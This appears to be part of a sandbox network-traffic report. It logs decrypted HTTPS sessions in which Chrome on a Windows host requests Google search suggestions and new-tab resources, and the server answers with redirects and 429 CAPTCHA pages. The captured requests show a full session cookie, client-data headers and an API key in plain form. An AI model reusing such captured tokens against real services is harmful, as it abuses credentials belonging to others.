2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 31 64 39 39 0d 0a 77 6a 75 46 79 4b 39 66 6d 5a 55 38 55 59 71 66 46 31 6d 4d 32 74 79 39 67 79 71 56 65 41 69 43 37 50 31 61 4a 45 2f 32 2f 71 4c 50 65 2b 6a 64 30 32 39 74 33 54 42 59 6c 2f 35 53 4f 53 44 47 39 49 58 6d 45 73 77 68 50 64 72 6f 7a 42 73 74 51 73 66 75 47 76 63 61 79 4a 58 66 4f 76 53 4d 53 53 6a 32 6e 6e 49 4e 2b 65 75 6c 77 4f 38 57 6d 43 46 6c 32 2b 33 42 4d 69 68 6a 79 36 5a 53 36 6f 4e 78 52 4c 34 72 6b 56 55 38 49 4a 64 65 37 31 6d 73 30 76 79 56 6a 6c 50 51 47 51 54 6e 38 4b 32 66 59 56 72 33 35 6c 4f 76 65 33 54 6c 73 67 36 34 73 41 69 30 68 35 34 76 45 66 69 76 38 42 48 61 55 76 6d 6b 4d 4a 72 73 7a 45 4e 67 59 73 61 66 45 73 39 37 6d 5a 6d 7a 44 76 69 59 5a 54 58 47 2b 31 5a 46 33 64 4b 68 69 59 38 58 73 47 6b 39 32 72 6a 4d 47 Data Ascii: 1d99wjuFyK9fmZU8UYqfF1mM2ty9gyqVeAiC7P1aJE/2/qLPe+jd029t3TBYl/5SOSDG9IXmEswhPdrozBstQsfuGvcayJXfOvSMSSj2nnIN+eulwO8WmCFl2+3BMihjy6ZS6oNxRL4rkVU8IJde71ms0vyVjlPQGQTn8K2fYVr35lOve3Tlsg64sAi0h54vEfiv8BHaUvmkMJrszENgYsafEs97mZmzDviYZTXG+1ZF3dKhiY8XsGk92rjMG
2024-12-21 18:24:27 UTC	1369	IN	Data Raw: 2b 33 37 5a 33 32 63 42 32 57 36 6d 4a 58 47 7a 4c 75 78 2b 4e 34 4f 61 55 6c 4f 71 57 6b 52 52 51 6e 75 32 4d 65 31 6c 37 39 76 38 2b 39 6e 76 4a 30 4f 4a 79 69 63 31 67 66 59 71 66 46 7a 53 68 69 38 53 4e 2f 6c 62 6c 48 42 6e 71 36 66 56 44 59 41 62 2f 6d 31 2b 76 65 75 69 52 69 32 2f 77 30 47 6c 68 6c 35 34 6a 43 61 7a 53 79 4d 47 65 44 74 31 34 43 63 59 4a 4e 65 59 6f 56 38 4c 32 6c 37 5a 58 32 64 43 32 41 72 46 52 53 46 54 66 34 67 74 4e 57 42 49 59 7a 63 70 58 32 62 67 49 67 76 7a 4d 51 32 41 61 78 70 39 66 61 6a 4f 6c 32 48 6f 76 6c 59 45 45 5a 4f 63 6d 56 7a 6e 30 72 74 6a 49 31 6d 76 70 52 51 53 44 38 4b 77 33 57 58 75 4f 2f 7a 37 33 5a 37 48 6f 74 6d 4f 42 33 55 41 6f 6b 36 70 50 41 4c 77 53 50 46 6e 36 52 74 30 59 48 50 59 4a 4e 61 59 6b 5a 34 Data Ascii: +37Z32cB2W6mJXGzLux+N4OaUlOqWkRRQnu2Me1l79v8+9nvJ0OJyic1gfYqfFzShi8SN/lblHBnq6fVDYAb/m1+veuiRi2/w0Glhl54jCazSyMGeDt14CcYJNeYoV8L2l7ZX2dC2ArFRSFTf4gtNWBIYzcpX2bgIgvzMQ2Aaxp9fajOl2HovlYEEZOcmVzn0rtjI1mvpRQSD8Kw3WXuO/z73Z7HotmOB3UAok6pPALwSPFn6Rt0YHPYJNaYkZ4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49749	142.250.64.164	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:32 UTC	807	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-21 18:24:32 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:32 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-lcUb5cA_11awQe9cb-e4Gw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 18:24:32 UTC	1266	IN	Data Raw: 35 33 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 20 62 72 61 63 6b 65 74 22 2c 22 73 7a 61 20 6c 61 6e 61 20 73 6f 73 20 64 65 6c 75 78 65 20 76 69 6e 79 6c 22 2c 22 6e 75 6e 61 20 62 61 62 79 20 65 73 73 65 6e 74 69 61 6c 73 20 63 61 72 20 73 65 61 74 20 72 65 63 61 6c 6c 22 2c 22 69 6e 74 65 72 73 74 61 74 65 20 34 30 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 67 72 65 65 74 69 6e 67 20 6a 6f 75 72 6e 65 79 20 72 65 77 61 72 64 73 22 2c 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 22 2c 22 76 69 72 67 69 6e 69 61 20 6c 61 77 73 22 2c 22 61 74 6c 61 6e 74 61 20 62 72 61 76 65 73 20 74 72 61 64 65 20 72 75 6d 6f 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c Data Ascii: 53c)]}'["",["college football playoff bracket","sza lana sos deluxe vinyl","nuna baby essentials car seat recall","interstate 40","monopoly go greeting journey rewards","dallas cowboys","virginia laws","atlanta braves trade rumors"],["","","","","","",
2024-12-21 18:24:32 UTC	81	IN	Data Raw: 52 47 56 56 6c 73 59 32 52 46 64 6d 5a 58 63 46 6c 71 53 6c 6f 30 53 47 46 77 4d 58 70 43 61 6c 42 47 59 57 56 5a 54 48 4e 78 53 47 56 6e 59 7a 46 73 65 58 56 42 5a 6b 67 79 63 57 31 5a 4e 56 4a 55 52 57 52 42 56 33 45 72 61 6e 42 77 61 0d 0a Data Ascii: RGVVlsY2RFdmZXcFlqSlo0SGFwMXpCalBGYWVZTHNxSGVnYzFseXVBZkgycW1ZNVJURWRBV3EranBwa
2024-12-21 18:24:32 UTC	90	IN	Data Raw: 35 34 0d 0a 33 46 35 55 6a 5a 6e 59 6d 68 4b 65 56 49 77 57 46 64 61 57 54 52 71 4f 45 39 54 61 6b 56 6d 51 6a 64 6c 4b 30 4a 36 57 46 42 35 4b 30 52 76 56 33 56 6c 5a 32 4e 4b 63 6c 49 72 52 6e 4a 68 54 7a 56 31 56 79 39 56 54 6e 4e 6e 53 54 5a 55 64 47 73 76 55 0d 0a Data Ascii: 543F5UjZnYmhKeVIwWFdaWTRqOE9TakVmQjdlK0J6WFB5K0RvV3VlZ2NKclIrRnJhTzV1Vy9VTnNnSTZUdGsvU
2024-12-21 18:24:32 UTC	1255	IN	Data Raw: 36 35 64 0d 0a 32 70 43 61 6b 6c 6c 55 47 46 47 53 6d 70 75 4d 30 46 76 65 6d 56 48 63 6b 38 7a 4d 44 41 32 61 46 42 51 53 45 5a 44 61 45 4e 35 5a 7a 4e 6a 63 6e 52 44 56 44 49 7a 61 45 78 53 63 30 45 72 61 6d 5a 68 5a 6c 46 74 62 48 4a 71 56 58 52 4e 63 30 35 46 64 6c 6c 4f 55 48 5a 76 63 48 41 31 4d 45 31 4c 53 6b 56 61 62 58 64 49 53 7a 6c 53 62 55 78 33 65 47 6f 33 52 54 4a 42 52 45 6f 34 65 48 45 79 64 6d 4a 74 53 45 31 6e 65 6d 63 31 63 46 5a 59 64 32 39 68 4d 30 46 4d 56 7a 6c 33 63 6d 4a 73 57 45 31 58 4e 32 52 75 5a 48 4e 34 64 46 41 31 54 56 70 70 5a 69 39 42 54 47 39 4e 56 54 4a 43 55 58 4a 69 56 6e 52 4f 64 54 6c 4a 63 32 74 32 63 6a 59 7a 61 57 35 70 61 56 64 4c 55 30 39 55 63 6b 6c 6a 65 44 64 73 56 6d 64 35 55 58 6c 42 4e 57 70 4e 59 57 74 Data Ascii: 65d2pCakllUGFGSmpuM0FvemVHck8zMDA2aFBQSEZDaEN5ZzNjcnRDVDIzaExSc0EramZhZlFtbHJqVXRNc05FdllOUHZvcHA1ME1LSkVabXdISzlSbUx3eGo3RTJBREo4eHEydmJtSE1nemc1cFZYd29hM0FMVzl3cmJsWE1XN2RuZHN4dFA1TVppZi9BTG9NVTJCUXJiVnROdTlJc2t2cjYzaW5paVdLU09UckljeDdsVmd5UXlBNWpNYWt
2024-12-21 18:24:32 UTC	381	IN	Data Raw: 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 2d 34 35 39 33 38 39 30 37 30 39 31 37 31 39 39 30 39 34 35 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 Data Ascii: :10002},{"zl":10002}],"google:suggesteventid":-4593890709171990945,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308
2024-12-21 18:24:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49750	142.250.64.164	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:32 UTC	710	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4B Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-21 18:24:33 UTC	845	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjNGOGPnLsGIjBXAECMSl2N1QzCcWURBtk32rZpPQpm0GXwBmcX4ZHRX4IaBfM1HNUfjJBZHODNYDgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI4Y-cuwYQ__-S7gESBGaBmM0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Date: Sat, 21 Dec 2024 18:24:33 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 18:24:33 UTC	410	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh
2024-12-21 18:24:33 UTC	48	IN	Data Raw: 54 6b 56 55 58 30 31 46 55 31 4e 42 52 30 56 61 41 55 4d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: TkVUX01FU1NBR0VaAUM">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49751	142.250.64.164	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:32 UTC	553	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-21 18:24:33 UTC	763	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjNGOGPnLsGIjBydXJM8slEgX7MatWidvqkCsFro3rskIET9l164K-5Z9PO9PX7EwBFXAh8V-RYgXUyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI4Y-cuwYQk4vTiwISBGaBmM0 Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Date: Sat, 21 Dec 2024 18:24:33 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 18:24:33 UTC	417	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49752	142.250.64.164	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:33 UTC	901	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjNGOGPnLsGIjBXAECMSl2N1QzCcWURBtk32rZpPQpm0GXwBmcX4ZHRX4IaBfM1HNUfjJBZHODNYDgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4B Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-21 18:24:33 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Sat, 21 Dec 2024 18:24:33 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3208 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 18:24:33 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2024-12-21 18:24:33 UTC	1255	IN	Data Raw: 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 65 79 54 49 36 49 76 59 51 Data Ascii: <script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="eyTI6IvYQ
2024-12-21 18:24:33 UTC	1054	IN	Data Raw: 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 30 20 31 35 70 78 20 30 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 Data Ascii: 0px; margin:0 0 15px 0; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49753	142.250.64.164	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:34 UTC	727	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjNGOGPnLsGIjBydXJM8slEgX7MatWidvqkCsFro3rskIET9l164K-5Z9PO9PX7EwBFXAh8V-RYgXUyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-21 18:24:34 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Sat, 21 Dec 2024 18:24:34 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3136 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 18:24:34 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
